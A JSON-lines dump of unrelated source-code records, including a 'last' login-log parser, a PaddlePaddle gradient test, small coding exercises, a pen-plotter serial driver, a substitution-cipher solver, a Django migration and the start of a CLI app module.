+{"seq_id":"612013447","text":"import os\nimport re\nimport subprocess\nimport dateutil.parser\nfrom collections import namedtuple\nfrom io import StringIO\nimport datetime as dt\nfrom typing import *\n\n_Event = namedtuple('Event', ['begin', 'end', 'duration', 'still_running', 'still_logged_in', 'username', 'system', 'down', 'reboot'])\n\n# The iso date format is (date)T(time)+(timezone), which are \"YYYY-MM-DD\", \"HH:MM:SS\" and \"HH:MM\"\n# Months and days starts from 1, as in sane programming languages.\n# An example log event with full ISO timestamp:\n# 'root ssh 10.210.71.0 2020-02-25T11:12:23+01:00 - 2020-02-25T11:13:40+01:00 (00:01)'\niso_date_format = r'([0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2})\\+([0-9]{2}:[0-9]{2})'\nmatch_begin_time = re.compile(iso_date_format)\nmatch_end_time = re.compile(r' - ' + iso_date_format)\nmatch_duration = '\\((()+)?[0-9]{2}:[0-9]{2}\\)$'\n\ndef parse_iso_date(log_event: str, iso_regexp) -> dt.datetime:\n m = next(iso_regexp.finditer(log_event), None)\n if m:\n date_and_time = m.group(1)\n date = dt.datetime.strptime(date_and_time, '%Y-%m-%dT%H:%M:%S')\n # tz_time = m.group(2)\n # timezone = dt.datetime.strptime(tz_time, '%H:%M')\n # Python doesn't have any standard format for timezone. Add it as a tuple of (HH, MM).\n # date.tzinfo = (timezone.hour, timezone.minute)\n return date\n else:\n return None\n\n\ndef _parse_log_event(log_event: str):\n \"\"\" @Xxx: stringly typed type system\n :param log_event:\n :return:\n \"\"\"\n begin = parse_iso_date(log_event, match_begin_time)\n end = parse_iso_date(log_event, match_end_time) or None\n still_logged_in = 'still logged in' in log_event\n still_running = 'still running' in log_event\n down = 'down' in log_event\n words = log_event.split()\n if words[0] not in ['reboot']:\n username = words[0]\n system = None\n else:\n username = None\n system = words[0]\n\n if not still_logged_in and not still_running:\n # @Todo: Does not read number of days ((DD+)?HH:MM)\n word_duration = words[-1][1:-1]\n if '+' in word_duration:\n word_days, word_time = word_duration.split('+')\n time = dt.datetime.strptime(word_time, '%H:%M')\n days = int(word_days)\n duration = dt.timedelta(days=days, hours=time.hour, minutes=time.minute)\n else:\n time = dt.datetime.strptime(word_duration, '%H:%M')\n duration = dt.timedelta(hours=time.hour, minutes=time.minute)\n else:\n duration = None\n\n event = _Event(\n begin=begin,\n end=end,\n username=username,\n system=system,\n duration=duration,\n still_logged_in=still_logged_in,\n still_running=still_running,\n down=down,\n reboot=system=='reboot',\n )\n return event\n\n\ndef _estimate_ending_time(event: _Event):\n if event.end:\n return event.end\n elif event.still_logged_in:\n # Events do not depend on the executing time. It causes noise if they are saved in database\n return None\n elif event.duration:\n return event.begin + event.duration\n else:\n return None\n\n\ndef _assert_event_parsing(event: _Event):\n \"\"\" Sanity check for event parsing. If \"still running\" or \"still logged in\" are enabled, then the duration\n is missing. I'm not aware if there are other modes than these two that could disable duration. If there are,\n they are catched by this method.\n \"\"\"\n if event.end is None and event.duration is None:\n if not any([event.still_running, event.still_logged_in]):\n raise RuntimeError(f'An event is not parsed correctly: {event}')\n\n\nclass Event:\n def __init__(self, event: _Event):\n self.begin = event.begin\n self.end = event.end\n self.username = event.username\n self.system = event.system\n self.duration = event.duration\n self.still_logged_in = event.still_logged_in\n self.still_running = event.still_running\n self.reboot = event.reboot\n self.down = event.down\n\n def __repr__(self):\n s = ''\n s += str(self.begin.strftime('%F: %H:%M'))\n if self.end:\n s += self.end.strftime(' - %H:%M')\n if self.still_running:\n s += ' (still running)'\n elif self.still_logged_in:\n s += ' (still logged in)'\n elif self.reboot:\n s += ' reboot'\n elif self.down:\n s += ' down'\n return s\n\n\ndef last_events():\n events = list()\n raw_output: bytes = subprocess.check_output(['last', '--time-format', 'iso'])\n lines = raw_output.decode('UTF-8').split('\\n')\n for line in lines:\n if len(line) == 0:\n break\n event = _parse_log_event(line)\n if event.end is None:\n # If the ending time is defined i.e. not \"still logged in\", it will not change in the log.\n ending_time = _estimate_ending_time(event)\n if ending_time is not None:\n event = event._replace(end=ending_time)\n _assert_event_parsing(event)\n\n events.append(Event(event))\n return events\n\n","sub_path":"24/last_log.py","file_name":"last_log.py","file_ext":"py","file_size_in_byte":5165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"67824245","text":"# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport unittest\n\nimport numpy as np\n\nimport paddle\nimport paddle.distributed as dist\nfrom paddle.autograd import PyLayer\nfrom paddle.distributed.fleet.utils.hybrid_parallel_util import (\n fused_allreduce_gradients,\n)\n\nbatch = 5\nin_dim = 20\nout_dim = 10\n\n\nclass cus_tanh(PyLayer):\n @staticmethod\n def forward(ctx, x):\n y = paddle.tanh(x)\n ctx.save_for_backward(y)\n return y\n\n @staticmethod\n def backward(ctx, dy):\n (y,) = ctx.saved_tensor()\n grad = dy * (1 - paddle.square(y))\n return grad\n\n\nclass SimpleNet(paddle.nn.Layer):\n def __init__(self, train_id, model_id):\n super().__init__()\n self.w = self.create_parameter(shape=[in_dim, batch], dtype=\"float32\")\n self.linear = paddle.nn.Linear(in_dim, out_dim)\n self.tanh = paddle.tanh\n\n self.trainer_id = train_id\n self.model_id = model_id\n\n def forward(self, inputs):\n if self.model_id == 0:\n inputs = cus_tanh.apply(inputs)\n else:\n inputs = self.tanh(inputs)\n\n inputs = paddle.matmul(self.w, inputs)\n return self.linear(inputs)\n\n\nclass TestDistTraining(unittest.TestCase):\n def test_multiple_xpus(self):\n self.trainer_id = dist.get_rank()\n dist.init_parallel_env()\n\n model_a = SimpleNet(self.trainer_id, 0)\n model_b = SimpleNet(self.trainer_id, 1)\n\n state_dict = model_a.state_dict()\n model_b.set_state_dict(state_dict)\n\n model_a = paddle.DataParallel(model_a)\n model_b = paddle.DataParallel(model_b)\n\n for step in range(10):\n x_data = np.random.randn(batch, in_dim).astype(np.float32)\n x = paddle.to_tensor(x_data)\n x.stop_gradient = False\n\n with model_a.no_sync():\n y_pred_a = model_a(x)\n loss_a = y_pred_a.mean()\n loss_a.backward()\n fused_allreduce_gradients(list(model_a.parameters()), None)\n\n y_pred_b = model_b(x)\n loss_b = y_pred_b.mean()\n loss_b.backward()\n\n self.check_gradient(model_a.parameters())\n self.check_gradient(model_b.parameters())\n\n self.check_acc(model_a._layers.w.grad, model_b._layers.w.grad)\n\n model_a.clear_gradients()\n model_b.clear_gradients()\n\n def check_acc(self, grad, acc_grad):\n grad = grad.numpy(False) if grad is not None else None\n acc_grad = acc_grad.numpy(False) if acc_grad is not None else None\n return np.testing.assert_allclose(grad, acc_grad, rtol=1e-6)\n\n def broadcast_param(self, param, root):\n paddle.distributed.broadcast(param, root)\n return param\n\n def check_gradient(self, params):\n other_param = []\n for param in params:\n if param.trainable and (param._grad_ivar() is not None):\n grad = param._grad_ivar()\n other_grad = self.broadcast_param(grad.clone(), root=1)\n if self.trainer_id == 0:\n np.testing.assert_allclose(\n other_grad.numpy(False), grad.numpy(False)\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/xpu/parallel_dygraph_dataparallel_with_pylayer.py","file_name":"parallel_dygraph_dataparallel_with_pylayer.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"253218144","text":"# Урок №3 задание №3\r\n# Реализовать функцию my_func(), которая принимает три позиционных аргумента,\r\n# и возвращает сумму наибольших двух аргументов.\r\ndef my_func(var1, var2, var3):\r\n if var1 == min(var1, var2, var3):\r\n return var2 + var3\r\n elif var2 == min(var1, var2, var3):\r\n return var1 + var3\r\n else:\r\n return var1 + var2\r\n\r\n\r\nprint(my_func(int(input(\"Введите первое число: \")), int(input(\"Введите второе число: \")),\r\n int(input(\"Введите третье число: \"))))\r\n","sub_path":"lesson3/lesson3_task3.py","file_name":"lesson3_task3.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"440595811","text":"# Given two non-negative integers num1 and num2 represented as strings, return the product of num1 and num2.\n#\n# Note:\n#\n# The length of both num1 and num2 is < 110.\n# Both num1 and num2 contains only digits 0-9.\n# Both num1 and num2 does not contain any leading zero.\n# You must not use any built-in BigInteger library or convert the inputs to integer directly.\n\n\nclass Solution(object):\n def multiply(self, num1, num2):\n \"\"\"\n :type num1: str\n :type num2: str\n :rtype: str\n \"\"\"\n result = 0\n m = len(num1)\n n = len(num2)\n\n j = n - 1\n mul = 1\n ip = 0\n while j >= 0:\n i = m - 1\n while i >= 0:\n if ip != 0 and ip % m == 0:\n mul *= 10\n result += ((ord(num1[i]) - 48) * (ord(num2[j]) - 48)) * mul * pow(10, ip % m)\n ip += 1\n i -= 1\n j -= 1\n\n return str(result)\n\n# Note:\n# We do multiplication old school way.\n","sub_path":"LeetCode/043-M-MultiplyStrings.py","file_name":"043-M-MultiplyStrings.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"641857976","text":"from serial import Serial\nfrom serial.tools.list_ports import comports\n\nimport time\n\nVID_PID = '1A86:7523'\nBAUD = 115200\n\nFEED_RATE = 4000 # millimeters per minute (max 5000)\n\n\ndef find_port():\n for port in comports():\n if VID_PID in port[2]:\n return port[0]\n return None\n\nclass Device(object):\n\n def __init__(self, verbose=False):\n self.verbose = verbose\n\n self.feed_rate = FEED_RATE\n\n port = find_port()\n if port is None:\n raise Exception('cannot find device')\n self.serial = Serial(port, baudrate=BAUD, timeout=1)\n\n self.configure()\n\n def configure(self):\n self.write('\\r\\n\\r')\n time.sleep(3)\n self.serial.flushInput()\n self.write('F{}'.format(self.feed_rate)) # feed rate\n self.write('M3')\n self.pen_up()\n\n def write(self, *args):\n line = ' '.join(map(str, args))\n if self.verbose:\n print(line)\n self.serial.write((line + '\\n').encode('utf-8'))\n response = self.serial.readline().strip().decode('utf-8')\n while response == \"\": # wait for 'ok' (otherwise buffer overloads)\n if self.verbose:\n print(response)\n response = self.serial.readline().strip().decode('utf-8')\n if self.verbose:\n print(response)\n\n def home(self):\n self.write('G28')\n\n def move(self, x, y):\n x = 'X%s' % -round(x, 2)\n y = 'Y%s' % -round(y, 2)\n self.write('G1', x, y)\n\n def move_rel(self, x, y):\n self.write('G91') # relative coordinates\n self.move(x, y)\n self.write('G90') # back to absolute\n\n def pen_up(self):\n self.write('M3 S10')\n\n def pen_down(self):\n self.write('M3 S40')\n\n def draw(self, points):\n if not points:\n return\n\n self.move(*points[0])\n self.pen_down()\n for point in points:\n self.move(*point)\n self.pen_up()\n\n def gcode(self, g):\n for line in g.lines:\n self.write(line)\n\n def disconnect(self):\n self.pen_up()\n self.move(0, 0)\n","sub_path":"eleksdrawpy/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"590754898","text":"import os\nimport sys\nimport copy\nimport re\nimport pprint\nimport simpleSubCipher\nimport makeWordPatterns\n\nif not os.path.exists('wordPatterns.py'):\n makeWordPatterns.main()\n\nimport wordPatterns # now we have allPatterns dictionary value\n\nLETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\nPATTERN_NOT_LETTER_OR_SPACE = re.compile('[^A-Z\\s]')\n\n\ndef main():\n message = \"\"\"Sy l nlx sr pyyacao l ylwj eiswi upar lulsxrj isr\nsxrjsxwjr, ia esmm rwctjsxsza sj wmpramh, lxo txmarr jia aqsoaxwa sr\npqaceiamnsxu, ia esmm caytra jp famsaqa sj. Sy, px jia pjiac ilxo, ia sr\npyyacao rpnajisxu eiswi lyypcor l calrpx ypc lwjsxu sx lwwpcolxwa jp isr\nsxrjsxwjr, ia esmm lwwabj sj aqax px jia rmsuijarj aqsoaxwa. Jia pcsusx py\nnhjir sr agbmlsxao sx jisr elh. -Facjclxo Ctrramm\"\"\"\n # message = \"OLQIHXIRCKGNZ PLQRZKBZB MPBKSSIPLC\"\n# message = \"\"\"S ln lmcaloh ylc xpcji py Mpxopx, lxo lr S elmk sx jia rjcaajr py\n# Bajacrftcui, S yaam l wpmo xpcjiacx fcaaza bmlh tbpx nh wiaakr, eiswi\n# fclwar nh xacqar lxo ysmmr na esji oamsuij. Op hpt txoacrjlxo jisr\n# yaamsxu? Jisr fcaaza, eiswi ilr jclqammao ycpn jia causpxr jpelcor\n# eiswi S ln loqlxwsxu, usqar na l ypcajlrja py jipra swh wmsnar.\n# Sxrbscsjao fh jisr esxo py bcpnsra, nh olhocalnr fawpna npca yacqaxj\n# lxo qsqso. S jch sx qlsx jp fa bacrtloao jilj jia bpma sr jia ralj py\n# ycprj lxo oarpmljspx; sj aqac bcaraxjr sjramy jp nh snlusxljspx lr jia\n# causpx py faltjh lxo oamsuij. Jiaca, Nlculcaj, jia rtx sr ypcaqac\n# qsrsfma, sjr fcplo osrk vtrj rkscjsxu jia ipcszpx lxo osyytrsxu l\n# bacbajtlm rbmaxoptc. Jiaca--ypc esji hptc malqa, nh rsrjac, S esmm btj\n# rpna jctrj sx bcawaosxu xlqsuljpcr--jiaca rxpe lxo ycprj lca flxsriao;\n# lxo, rlsmsxu pqac l wlmn ral, ea nlh fa elyjao jp l mlxo rtcblrrsxu sx\n# epxoacr lxo sx faltjh aqach causpx isjiacjp osrwpqacao px jia ilfsjlfma\n# umpfa. Sjr bcpotwjspxr lxo yaljtcar nlh fa esjiptj aglnbma, lr jia\n# biaxpnaxl py jia ialqaxmh fposar txoptfjaomh lca sx jipra txosrwpqacao\n# rpmsjtoar. Eilj nlh xpj fa agbawjao sx l wptxjch py ajacxlm msuij? S\n# nlh jiaca osrwpqac jia epxocptr bpeac eiswi ljjclwjr jia xaaoma lxo nlh\n# cautmlja l jiptrlxo wamarjslm pfracqljspxr jilj cadtsca pxmh jisr\n# qphlua jp caxoac jiasc raansxu awwaxjcswsjsar wpxrsrjaxj ypcaqac. S\n# rilmm rljslja nh lcoaxj wtcsprsjh esji jia rsuij py l blcj py jia epcmo\n# xaqac faypca qsrsjao, lxo nlh jcalo l mlxo xaqac faypca snbcsxjao fh\n# jia yppj py nlx. Jiara lca nh axjswanaxjr, lxo jiah lca rtyyswsaxj jp\n# wpxdtac lmm yalc py olxuac pc oalji lxo jp sxotwa na jp wpnnaxwa jisr\n# mlfpcsptr qphlua esji jia vph l wismo yaamr eiax ia anflckr sx l msjjma\n# fplj, esji isr ipmsolh nljar, px lx agbaosjspx py osrwpqach tb isr\n# xljsqa csqac. Ftj rtbbprsxu lmm jiara wpxvawjtcar jp fa ylmra, hpt\n# wlxxpj wpxjarj jia sxarjsnlfma faxaysj eiswi S rilmm wpxyac px lmm\n# nlxksxo, jp jia mlrj uaxacljspx, fh osrwpqacsxu l blrrlua xalc jia bpma\n# jp jipra wptxjcsar, jp calwi eiswi lj bcaraxj rp nlxh npxjir lca\n# cadtsrsja; pc fh lrwacjlsxsxu jia rawcaj py jia nluxaj, eiswi, sy lj\n# lmm bprrsfma, wlx pxmh fa ayyawjao fh lx txoacjlksxu rtwi lr nsxa.\"\"\"\n mapping = hack(message)\n if os.path.exists('sub_cipher_key_mapping.txt'):\n print('\\'sub_cipher_key_mapping.txt\\' already exists, overwite? (y/n)')\n response = input('>>')\n if not response.lower().startswith('y'):\n sys.exit('Abort execution')\n fo = open('sub_cipher_key_mapping.txt', 'w')\n fo.write(pprint.pformat(mapping))\n fo.close\n\n print()\n print('Message:')\n print(message)\n print()\n key = gen_key(mapping)\n print('Key: %s' % (key))\n translated = simpleSubCipher.decryptMessage(key, message)\n print('Translated:')\n print(translated)\n\n\ndef hack(cipher_text):\n list_cipher_words = PATTERN_NOT_LETTER_OR_SPACE.sub('', cipher_text.upper()).split()\n mapping = _blank_letter_mapping()\n\n for cipher_word in list_cipher_words:\n mapping_new = _blank_letter_mapping()\n pattern_new = makeWordPatterns.makeWordPattern(cipher_word)\n if pattern_new not in wordPatterns.allPatterns:\n continue # we have nothing to do with this cipher word\n else:\n for candidate in wordPatterns.allPatterns[pattern_new]:\n _add_mapping(mapping_new, cipher_word, candidate)\n _intersect_mapping(mapping, mapping_new)\n\n _remove_resolved_letter(mapping)\n return mapping\n\n\ndef _blank_letter_mapping():\n r = {}\n for c in LETTERS:\n r[c] = []\n return r\n\n\ndef _add_mapping(mapping, cipher_word, candidate):\n for i in range(len(cipher_word)):\n if i >= len(candidate): # this should never happen - just ignore the remaining of the candidate string\n return\n if cipher_word[i] not in mapping:\n mapping[cipher_word[i]] = [candidate[i]]\n else:\n if candidate[i] not in mapping[cipher_word[i]]:\n mapping[cipher_word[i]].append(candidate[i])\n\n\ndef _intersect_mapping(mapping_dest, mapping_src):\n for c in mapping_src:\n if mapping_dest[c] == []:\n mapping_dest[c] += mapping_src[c]\n elif mapping_src[c] == []:\n continue\n else:\n for d in copy.deepcopy(mapping_dest[c]):\n if d not in mapping_src[c]:\n while d in mapping_dest[c]:\n mapping_dest[c].remove(d)\n\n\ndef _remove_resolved_letter(mapping):\n loop_flag = True\n while loop_flag:\n loop_flag = False\n for c in mapping:\n if len(mapping[c]) == 1:\n letter = mapping[c][0]\n for d in mapping:\n if len(mapping[d]) > 1 and d != c and letter in mapping[d]:\n mapping[d].remove(letter)\n loop_flag = True\n\n\ndef decrypt(message, mapping):\n decrypted = ''\n for c in message:\n if c.upper() not in mapping:\n decrypted += c\n else:\n if len(mapping[c.upper()]) > 1:\n decrypted += '_'\n elif len(mapping[c.upper()]) == 0:\n decrypted += c\n else:\n if c.isupper():\n decrypted += mapping[c][0]\n else:\n decrypted += mapping[c.upper()][0].lower()\n return decrypted\n\n\ndef gen_key(mapping):\n list_key = [''] * len(simpleSubCipher.LETTERS)\n for c in mapping:\n if len(mapping[c]) == 1:\n list_key[simpleSubCipher.LETTERS.find(mapping[c][0])] = c\n for i in range(len(list_key)):\n if list_key[i] == '':\n list_key[i] = '_'\n # print('Final key is %s' % (pprint.pformat(list_key)))\n return ''.join(list_key)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"simple_sub_hacker.py","file_name":"simple_sub_hacker.py","file_ext":"py","file_size_in_byte":6729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"244330986","text":"# pylint: disable-all\n# flake8: noqa\n\nfrom datetime import datetime, timezone, timedelta\nimport unittest\nfrom unittest.mock import patch, call\nimport git\nfrom pynamodb.attributes import MapAttribute\n\nfrom netkan.auto_freezer import AutoFreezer\nfrom netkan.repos import NetkanRepo\nfrom netkan.metadata import Netkan\nfrom netkan.github_pr import GitHubPR\n\n\nclass TestAutoFreezer(unittest.TestCase):\n\n now = datetime.now(timezone.utc)\n a_while_ago = now - timedelta(days=1001)\n a_long_time_ago = now - timedelta(days=1050)\n IDENT_TIMESTAMPS = {\n 'Astrogator': a_while_ago,\n 'SmartTank': a_long_time_ago,\n 'Ringworld': now,\n }\n IDENT_RESOURCES = {\n 'Astrogator': {\n 'homepage': 'https://forum.kerbalspaceprogram.com/index.php?/topic/155998-*'\n },\n 'SmartTank': {\n 'repository': 'https://github.com/HebaruSan/SmartTank'\n },\n 'Ringworld': {\n 'bugtracker': 'https://github.com/HebaruSan/Ringworld/issues'\n },\n }\n\n def test_find_idle_mods(self):\n \"\"\"\n Return freshly idle mods, skip active and ancient mods\n \"\"\"\n\n # Arrange\n with patch('git.Repo') as repo_mock, \\\n patch('netkan.repos.NetkanRepo') as nk_repo_mock, \\\n patch('netkan.auto_freezer.ModStatus') as status_mock, \\\n patch('netkan.github_pr.GitHubPR') as pr_mock:\n\n nk_repo_mock.return_value.netkans.return_value = [\n Netkan(contents='{ \"identifier\": \"Astrogator\" }'),\n Netkan(contents='{ \"identifier\": \"SmartTank\" }'),\n Netkan(contents='{ \"identifier\": \"Ringworld\" }'),\n ]\n status_mock.get.side_effect = lambda ident, range_key: unittest.mock.Mock(\n release_date=self.IDENT_TIMESTAMPS[ident])\n nk_repo = nk_repo_mock(git.Repo('/blah'))\n github_pr = pr_mock('', '', '')\n af = AutoFreezer(nk_repo, github_pr, 'ksp')\n\n # Act\n astrogator_dttm = af._last_timestamp('Astrogator')\n smarttank_dttm = af._last_timestamp('SmartTank')\n ringworld_dttm = af._last_timestamp('Ringworld')\n idle_mods = af._find_idle_mods(1000, 21)\n\n # Assert\n self.assertEqual(astrogator_dttm, self.a_while_ago)\n self.assertEqual(smarttank_dttm, self.a_long_time_ago)\n self.assertEqual(ringworld_dttm, self.now)\n self.assertEqual(idle_mods, [('Astrogator', self.a_while_ago)])\n\n def test_submit_pr(self):\n \"\"\"\n Check pull request format\n \"\"\"\n\n # Arrange\n with patch('git.Repo') as repo_mock, \\\n patch('netkan.repos.NetkanRepo') as nk_repo_mock, \\\n patch('netkan.auto_freezer.ModStatus') as status_mock, \\\n patch('netkan.github_pr.GitHubPR') as pr_mock:\n\n status_mock.get.side_effect = lambda ident, range_key: unittest.mock.Mock(\n release_date=self.IDENT_TIMESTAMPS[ident],\n resources=MapAttribute(**self.IDENT_RESOURCES[ident]))\n unittest.util._MAX_LENGTH = 999999999 # :snake:\n\n nk_repo = nk_repo_mock(git.Repo('/blah'))\n github_pr = pr_mock('', '', '')\n af = AutoFreezer(nk_repo, github_pr, 'ksp')\n\n # Act\n af._submit_pr('test_branch_name', 69, [\n ('Astrogator', datetime(2010, 1, 1, tzinfo=timezone.utc)),\n ('SmartTank', datetime(2015, 1, 1, tzinfo=timezone.utc)),\n ('Ringworld', datetime(2020, 1, 1, tzinfo=timezone.utc)),\n ])\n\n # Assert\n self.assertEqual(pr_mock.return_value.create_pull_request.mock_calls, [\n call(branch='test_branch_name',\n title='Freeze idle mods',\n body='The attached mods have not updated in 69 or more days. Freeze them to save the bot some CPU cycles.\\n\\nMod | Last Update\\n:-- | :--\\n**Astrogator**
        [homepage](https://forum.kerbalspaceprogram.com/index.php?/topic/155998-*) | 2010-01-01 00:00 UTC\\n**SmartTank**
        [repository](https://github.com/HebaruSan/SmartTank) | 2015-01-01 00:00 UTC\\n**Ringworld**
        [bugtracker](https://github.com/HebaruSan/Ringworld/issues) | 2020-01-01 00:00 UTC',\n labels=['Pull request', 'Freeze', 'Needs looking into'],\n )\n ])\n","sub_path":"netkan/tests/auto_freezer.py","file_name":"auto_freezer.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"545022760","text":"BATCH_SIZE = 'batch_size'\r\nWORKERS = 'workers'\r\nMODEL_CONFIG = 'model_config'\r\nPIN_MEMORY = \"pin_memory\"\r\nSHUFFLE = \"shuffle\"\r\nCOMBOS = \"combinations\"\r\nOPTIMIZER = \"optimizer\"\r\nOPTIM_TYPE = \"optimizer_type\"\r\nSGD = \"sgd\"\r\nADAM = \"adam\"\r\nLR = 'lr'\r\nMOMENTUM = 'momentum'\r\nREGULARIZATION = 'regularization'\r\nL1 = 'l1'\r\nL2 = 'l2'\r\nSCHEDULER = 'scheduler'\r\nSCHEDULER_TYPE = 'scheduler_type'\r\nSTEP = 'step'\r\nGAMMA = 'gamma'\r\nSTEP_LR = 'steplr'\r\nMULTI_STEP_LR = 'multisteplr'\r\nMILESTONES = 'milestones'\r\nMISCLASSIFIED = 'misclassified'\r\nGBN = \"gbn\"\r\nEPOCHS = \"epochs\"\r\nPLOTS = 'plots'\r\nTO_PLOT = 'to_plot'\r\nNESTEROV = \"nesterov\"","sub_path":"S8/CONSTANTS.py","file_name":"CONSTANTS.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"293067531","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Group',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('group_name', models.CharField(max_length=100)),\n ('group_url', models.URLField()),\n ('introduction', models.TextField()),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Leader',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('group', models.ForeignKey(to='protrack.Group')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Problem',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('prob_name', models.CharField(max_length=100)),\n ('prob_content', models.TextField()),\n ('resolved', models.BooleanField(default=False)),\n ('reply_num', models.PositiveIntegerField()),\n ('praise_num', models.PositiveIntegerField()),\n ('reduce_num', models.PositiveIntegerField()),\n ('quiz_date', models.DateTimeField(verbose_name='date of problem created')),\n ('resolved_date', models.DateTimeField(verbose_name='date of problem resolved')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Project',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('proj_name', models.CharField(max_length=100)),\n ('background', models.TextField()),\n ('introduction', models.TextField()),\n ('start_date', models.DateTimeField(verbose_name='date start project')),\n ('group', models.ForeignKey(to='protrack.Group')),\n ('leader', models.ForeignKey(to='protrack.Leader', null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Reply',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('content', models.TextField()),\n ('resolved_reply', models.BooleanField(default=False)),\n ('praise_num', models.PositiveIntegerField()),\n ('reduce_num', models.PositiveIntegerField()),\n ('reply_date', models.DateTimeField(verbose_name='date replied')),\n ('problem', models.ForeignKey(to='protrack.Problem')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='User',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('user_name', models.CharField(max_length=100)),\n ('user_email', models.EmailField(max_length=100, blank=True, unique=True, null=True)),\n ('user_qq', models.PositiveIntegerField()),\n ('introduction', models.TextField()),\n ('regis_date', models.DateTimeField(verbose_name='register date')),\n ('lastlogin_date', models.DateTimeField(verbose_name='date last login')),\n ('group', models.ForeignKey(to='protrack.Group')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='reply',\n name='reply_master',\n field=models.ForeignKey(to='protrack.User'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='project',\n name='members',\n field=models.ManyToManyField(to='protrack.User'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='problem',\n name='project',\n field=models.ForeignKey(to='protrack.Project'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='problem',\n name='quizmaster',\n field=models.ForeignKey(to='protrack.User'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='leader',\n name='leader_user',\n field=models.ForeignKey(to='protrack.User'),\n preserve_default=True,\n ),\n ]\n","sub_path":"Codes/ProM/src/protrack/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"502222578","text":"__author__ = 'linweizhong'\n\"\"\"\nH-Index II\nFollow up for H-Index: What if the citations array is sorted in ascending order? Could you optimize your algorithm?\n\nHint:\n\nExpected runtime complexity is in O(log n) and the input is sorted.\n\"\"\"\n\nclass Solution(object):\n def hIndex(self, citations):\n \"\"\"\n :type citations: List[int]\n :rtype: int\n \"\"\"\n\n if not citations : return 0\n ilen = len(citations)\n start = 0\n end = ilen - 1\n while start <= end :\n mid = (start + end) /2\n if citations[mid] < ilen - mid :\n start = mid + 1\n elif citations[mid] > ilen -mid :\n end = mid - 1\n else:\n return ilen - mid\n return ilen - start\n","sub_path":"leetcode/h_IndexII.py","file_name":"h_IndexII.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"245524073","text":"#!/usr/bin/env python3\n# coding: utf-8\n\nr\"\"\"\n使用 Python 构建命令行应用的示例项目。\n\nUsage:\n rrpyinstaller [options] [--test]\n rrpyinstaller --test\n rrpyinstaller (-h | --help)\n rrpyinstaller --version\n\nOptions:\n -o , --option= Some option.\n\n --save Save options to configuration file.\n\n --test Test arguments and exit.\n -h --help Show help message and exit.\n --version Show version and exit.\n\"\"\"\n__version__ = '2020.10.18'\n__since__ = '2020.08.17'\n__author__ = 'zhengrr'\n__license__ = 'UNLICENSE'\n\nfrom dataclasses import dataclass\nfrom sys import exit\n\nfrom loguru import logger\n\nimport rrpyinstaller\nfrom rrpyinstaller.appaux import application_directory_path, BaseAppArgs, component_path, data_directory_path\n\n\n@dataclass\nclass AppArgs(BaseAppArgs):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n option: str = 'default value'\n\n\n@logger.catch(reraise=True)\ndef main():\n # 日志\n logger.add(component_path(f'{rrpyinstaller.__name__}.log'), retention='1 week')\n\n # 参数\n args = 